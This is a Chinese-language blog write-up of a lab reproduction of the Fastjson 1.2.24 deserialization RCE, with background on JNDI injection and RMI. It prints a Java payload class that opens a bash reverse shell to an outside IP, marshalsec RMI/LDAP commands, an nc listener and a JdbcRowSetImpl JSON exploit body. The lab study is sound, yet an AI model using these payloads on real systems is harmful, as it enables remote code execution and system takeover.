1. 程式人生 > 實用技巧 >關於FastJson漏洞的一切(未完待續)

關於FastJson漏洞的一切(未完待續)

前言

不知道怎麼入的坑,看到了FastJson的反序列漏洞,然後就想復現,復現的過程中我有諸多疑惑,不清楚POC的原理,不知道如何使用intellij IDEA動態的跟蹤除錯,對Java程式碼的極度不熟悉,再加上第一次接觸FastJson這個API,都使我步履維艱,但是,我堅信,柳暗花明又一村!謹以此篇Blog記錄我對於FastJson漏洞的一切研究,或許對讀者你有一些啟發本人只是學安全的小白,如有錯誤,還請大佬指正!弟弟我先在這裡謝過眾位大佬了

FastJson簡介

Fastjson 是一個 Java 庫,可以將 Java 物件轉換為 JSON 格式(序列化),當然它也可以將 JSON 字串轉換為 Java 物件(反序列化)。

Fastjson 可以操作任何 Java 物件,即使是一些預先存在的沒有原始碼的物件。

首先我覺得自己要先熟悉FastJson。所以我先去菜鳥教程學了一波~

//序列化
String text = JSON.toJSONString(obj); 
//反序列化
VO vo = JSON.parse(); //解析為JSONObject型別或者JSONArray型別
VO vo = JSON.parseObject("{...}"); //JSON文字解析成JSONObject型別
VO vo = JSON.parseObject("{...}", VO.class); //JSON文字解析成VO.class類

FastJson漏洞

大概學完之後,我就漫無目的的在搜尋關於fastjson漏洞的一切,看完之後,啥也沒看懂,偶然的機會我在Freebuf看到一篇文章,我決定跟隨這篇文章的軌跡(沿著前輩的腳步)研究fastjson漏洞。

RCE漏洞的源頭:17年fastjson爆出的1.2.24反序列化漏洞。此次漏洞簡單來說,就是Fastjson通過parseObject()/parse()將傳入的字串反序列化為Java物件時由於沒有進行合理檢查而導致的

先從簡單的入手,利用vulhub裡邊的環境我嘗試復現一下這個漏洞。

我用到的環境如下:

  • Linux虛擬主機一臺:CentOS 7 64bit(內含有docker,並利用docker成功搭建好vulhub上的環境)

  • 阿里雲VPS一臺:CentOS 7.5 64bit

  • 物理機一臺:Windows 10 64bit

用到的POC(反彈shell):

// javac ExploitFile.java
import java.lang.Runtime;
import java.lang.Process;

public class ExploitFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/123.56.101.164/1234 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

復現過程如下:

(1)由於我的VPS沒有javac的環境,所以我選擇將以上POC儲存至ExploitFile.java,然後在我物理機上編譯,然後將編譯好的ExploitFile.class檔案傳到VPS上的root使用者家目錄新建的fastjson目錄中。除此我們還需要用到marshalsec,我也是物理機上編譯工程,然後生成的marshalsec-0.0.3-SNAPSHOT-all.jar傳到VPS~/fastjson目錄下。

(2)使用python快速搭建一個HTTP服務,在VPS上/fastjson目錄下執行以下命令。這一步大家如果有看不懂的可以參考[這篇文章](https://www.cnblogs.com/lmg-jie/p/9564608.html)看一下

python -m SimpleHTTPServer 5200
#使用上面的命令可以把當前目錄釋出到4444埠

(3)執行以下命令,開啟rmi或ldap服務,5200是上方服務的埠。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://123.56.101.164:5200/#ExploitFile" 9999
對於上面命令的解釋:
#rmi伺服器,rmi服務起在9999 惡意class在http://ip:5200/資料夾/#ExportObject 
#不加9999埠號 預設是1099

補充:
同時我們可以不選擇開啟RMI,而選擇開啟LDAP:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:8080/資料夾/#ExportObject 8088
#rmi伺服器,rmi服務起在8088 惡意class在http://ip:8080/資料夾/#ExportObject 
#不加8088埠號 預設是1389

(4)VPS使用nc監聽1234埠

nc -lvp 1234

(5)藉助burpsuite向靶機POST如下內容:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://123.56.101.164:9999/ExploitFile",
        "autoCommit":true
    }
}

(6)反彈shell成功

復現完成之後我心裡很疑惑,關於fastjson的反序列化我仍然啥都不懂,並且我還有如下幾個問題:

  1. marshalsec是什麼東西?
  2. 從復現的步驟裡我看不出所謂的反序列化(漏洞利用的原理)?

以上幾個問題我先不回答,之後就開始了漫長的爬坑,不過還好,有收穫!

JNDI注入原理與應用

參考:https://xz.aliyun.com/t/6633

Java命名和目錄介面(JNDI)是一種Java API,類似於一個索引中心,它允許客戶端通過name發現和查詢資料和物件。

其應用場景比如:動態載入資料庫配置檔案,從而保持資料庫程式碼不變動等。
程式碼格式如下:

String jndiName= ...;//指定需要查詢name名稱
Context context = new InitialContext();//初始化預設環境
DataSource ds = (DataSourse)context.lookup(jndiName);//查詢該name的資料

這些物件可以儲存在不同的命名或目錄服務中,例如遠端方法呼叫(RMI),通用物件請求代理體系結構(CORBA),輕型目錄訪問協議(LDAP)或域名服務(DNS)。

RMI格式:

InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup("rmi://127.0.0.1:1099/Exploit");

所謂的JNDI注入就是當上文程式碼中jndiName這個變數可控時,引發的漏洞,它將導致遠端class檔案載入,從而導致遠端程式碼執行。

下面我們參照大佬的POC,做一波驗證:

環境:Windows 10 64bit python 2.7 Intellij IDEA 2020.1

(1)參照大佬的程式碼,在IDEA裡邊建立com包下建立ExecTest.java,並且建立com.jndi包同時在這個包裡建立client.java、server.java。程式碼如下(我參考我的實際環境做了適量修改):

//client.java(受害者)
package com.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;

public class client {

    public static void main(String[] args) throws Exception {

        String uri = "rmi://127.0.0.1:1099/aa";
        Context ctx = new InitialContext();
        ctx.lookup(uri);

    }

}
//server.java(攻擊者起的RMI服務)
package com.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class server {

    public static void main(String args[]) throws Exception {

        Registry registry = LocateRegistry.createRegistry(1099);
        Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:5200/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
        registry.bind("aa", refObjWrapper);

    }
}
//ExecTest.java(攻擊payload)
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class ExecTest implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        exec("xterm");
        return null;
    }

    public static String exec(String cmd) {
        try {
            Runtime.getRuntime().exec("whoami");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return "";
    }

    public static void main(String[] args) {
        exec("123");
    }
}

(2)來到工程資料夾找到ExecTest.java檔案,使用javac ExecTest.java編譯一下,並且使用python2 -m SimpleHTTPServer 5200將當前資料夾對映到HTTP服務。

(3)在IDEA先執行server.java,然後執行client.java,結果如下圖所示。

解釋:正如大佬所說的一樣,此次實驗成功的前提是:java版本小於1.8u191。因為之後版本存在trustCodebaseURL的限制,只信任已有的codebase地址,不再能夠從指定codebase中下載位元組碼。我這邊java版本是1.8u202,差了點意思~唉,不能幸運的看到實驗的結果。對於分析呼叫流程,就看大佬的吧,我就不多說了。

下面回答上邊的第一個問題,marshalsec是什麼東西?以上我們是使用程式碼藉助intellij IDEA 起的RMI服務,為了方便性,marshalsec可以快速的幫助我們起一個RMI或者LDAP服務。說白了,就是一個工具。

  • 補充:什麼是RMI?
RMI(Remote Method Invocation),遠端方法呼叫。跟RPC差不多,是java獨立實現的一種機制。實際上就是在一個java虛擬機器上呼叫另一個java虛擬機器的物件上的方法。

RMI依賴的通訊協議為JRMP(Java Remote Message Protocol ,Java 遠端訊息交換協議),該協議為Java定製,要求服務端與客戶端都為Java編寫。這個協議就像HTTP協議一樣,規定了客戶端和服務端通訊要滿足的規範。(我們可以再之後資料包中看到該協議特徵)

在RMI中物件是通過序列化方式進行編碼傳輸的。(我們將在之後證實)

RMI分為三個主體部分:

Client-客戶端:客戶端呼叫服務端的方法
Server-服務端:遠端呼叫方法物件的提供者,也是程式碼真正執行的地方,執行結束會返回給客戶端一個方法執行的結果。
Registry-註冊中心:其實本質就是一個map,相當於是字典一樣,用於客戶端查詢要呼叫的方法的引用。
總體RMI的呼叫實現目的就是呼叫遠端機器的類跟呼叫一個寫在自己的本地的類一樣。

唯一區別就是RMI服務端提供的方法,被呼叫的時候該方法是執行在服務端。

未完待續。。。

關於FastJson漏洞的後世,參考一下兩篇Blog,等我時間充裕,再和大家一起消化吸收

http://blog.topsec.com.cn/fastjson%e5%8e%86%e5%8f%b2%e6%bc%8f%e6%b4%9e%e7%a0%94%e7%a9%b6%ef%bc%88%e4%b8%80%ef%bc%89/

https://xz.aliyun.com/t/7027